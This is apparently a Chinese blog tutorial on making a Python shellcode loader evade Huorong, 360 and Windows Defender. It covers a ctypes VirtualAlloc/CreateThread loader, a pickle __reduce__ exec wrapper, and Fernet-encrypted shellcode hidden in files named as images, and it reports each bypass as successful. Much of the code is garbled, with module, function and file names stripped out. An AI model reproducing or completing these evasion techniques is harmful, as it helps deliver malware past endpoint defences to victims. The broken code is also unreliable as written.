python反序列化免杀方式,过火绒、360、windows defender

1简介

一种python反序列化免杀方式,过火绒、360、windows defender

2正文

一个python加载器

下面具体举例一个python分离加载的例子

import ctypes
f=open('','rb')
shellcode=()
shellcode=bytearray(shellcode)
#设置VirtualAlloc返回类型为
.restype=
#申请内存
ptr=((0),(len(shellcode)),(0x3000),(0x40))
#放入shellcode
buf=( *len(shellcode)).from_buffer(shellcode)
(
   (ptr),
   buf,
   (len(shellcode))
)

#创建一个线程从shellcode放置位置首地址开始执行

handle=(
   
   
   
   (0),
   (0),
   (ptr),
   (0),
   (0),
   ((0))
)
#等待上面创建的线程运行完
((handle),(-1))

 

意料之中,烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

python反序列化免杀方式,过火绒、360、windows defender

前置基础

  • pickle,它能够实现任意对象与文本之间的相互转化,也可以实现任意对象与二进制之间的相互转化。也就是说,pickle 可以实现 Python 对象的存储及恢复
  • crypto graphy.fernet提供python加密lib
>>>from  importFernet
>>>#Put this somewhere safe!
>>>key =()
>>>f =Fernet(key)
>>>token =(b"Areally secret message. Not for prying eyes.")
>>>token
'...'
>>>(token)
'Areally secret message. Not for prying eyes.'

 

运用反序列化简单免杀

初步尝试下火绒&&360的免杀能力,这两个相对简单些

加入反序列化语句,进行编码如下

#pickle dump
import pickle


shellcode="""
importctypes


f= open('', 'rb')
shellcode= ()
shellcode= bytearray(shellcode)
#设置VirtualAlloc返回类型为
.restype= 
#申请内存
ptr= ((0),(len(shellcode)), (0x3000),(0x40))
#放入shellcode
buf= ( *len(shellcode)).from_buffer(shellcode)
(
   (ptr),
   buf,
   (len(shellcode))
)
#创建一个线程从shellcode放置位置首地址开始执行
handle= (
   (0),
   (0),
   (ptr),
   (0),
   (0),
   ((0))
)
#等待上面创建的线程运行完
((handle),(-1))
"""




class A(object):
   def __reduce__(self):
       return(exec,(shellcode,))




ret=(A())
with open("",'wb')asimg:
   (ret)
#pickle load
import pickle
import ctypes
#try:
#    temp = open("", "rb").read()
#    shellcode = (temp)
#except Exception as err:
#    print("err = {0}".format(err))
#    input("123")




temp=open("","rb").read()
shellcode=(temp)
#pyinstaller -F .defender_pickle_load.py
  • 测试结果,bypass火绒

python反序列化免杀方式,过火绒、360、windows defender

python反序列化免杀方式,过火绒、360、windows defender

继续测试下260

测试后,比较幸运,直接bypass360

python反序列化免杀方式,过火绒、360、windows defender

python反序列化免杀方式,过火绒、360、windows defender

windows defender的绕过

简单总结下,当下的进展

  • 火绒过
  • 360过

首先测试下windows静态扫描

python反序列化免杀方式,过火绒、360、windows defender

python反序列化免杀方式,过火绒、360、windows defender

发现ico 和 png文件均报毒

  • 这里的思路不止一种,比如放到服务器、编码静态文件等
  • 下面提供一种思路,利用python-fernet对静态文件进行加密
  • 编码如下
#-*- coding:utf-8 -*
#对静态文件进行加密
from  import Fernet


#shellcode 加密你也可以分离免杀
test_f=open('','rb')
shellcode=test_()
shellcode=bytearray(shellcode)


()
#加密
key=()
f=Fernet(key)
enc_pay=(bytes(shellcode))
print(key)
print("=========")


#写入shell2.png
test_f=open("./","w+")
(())
()
output_key="key= {0}".format(key)
print(output_key)


print("f_obj= Fernet(key)")


print("shellcode= (shellcode)")


print("shellcode= bytearray(shellcode)")




#shellcode 加密你也可以分离免杀
test_f=open('','rb')
shellcode=test_()
shellcode=bytearray(shellcode)


()
#加密
key=()
f=Fernet(key)
enc_pay=(bytes(shellcode))
print(key)
print("=========")


#写入shell2.png
test_f=open("./","w+")
(())
()
output_key="key= {0}".format(key)
print(output_key)


print("f_obj= Fernet(key)")


print("temp= (temp)")

#defender_pickle_dump.py

import pickle


shellcode="""
importctypes
from import Fernet


f= open('', 'rb')
shellcode= ()
key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='
f_obj= Fernet(key)
shellcode= (shellcode)
shellcode= bytearray(shellcode)


#设置VirtualAlloc返回类型为
.restype= 
#申请内存
ptr= ((0),(len(shellcode)), (0x3000),(0x40))
#放入shellcode
buf= ( *len(shellcode)).from_buffer(shellcode)
(
   (ptr),
   buf,
   (len(shellcode))
)
#创建一个线程从shellcode放置位置首地址开始执行
handle= (
   (0),
   (0),
   (ptr),
   (0),
   (0),
   ((0))
)
#等待上面创建的线程运行完
((handle),(-1))
"""




class A(object):
   def __reduce__(self):
       return(exec,(shellcode,))




ret=(A())
with open("",'wb')asimg:
   (ret)
import pickle
import ctypes
from  importFernet


#try:
#    temp = open("", "rb").read()
#    shellcode = (temp)
#except Exception as err:
#    print("err = {0}".format(err))
#    input("123")




temp=open("","rb").read()


key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='
f_obj=Fernet(key)
temp=(temp)


shellcode=(temp)
  • ok 成功绕过windows defender

python反序列化免杀方式,过火绒、360、windows defender

python反序列化免杀方式,过火绒、360、windows defender

切记,免杀学的是思路,不是具体的方法,本文的也只是提供了一个思路,擅于思考,也多多考虑多种方法结合。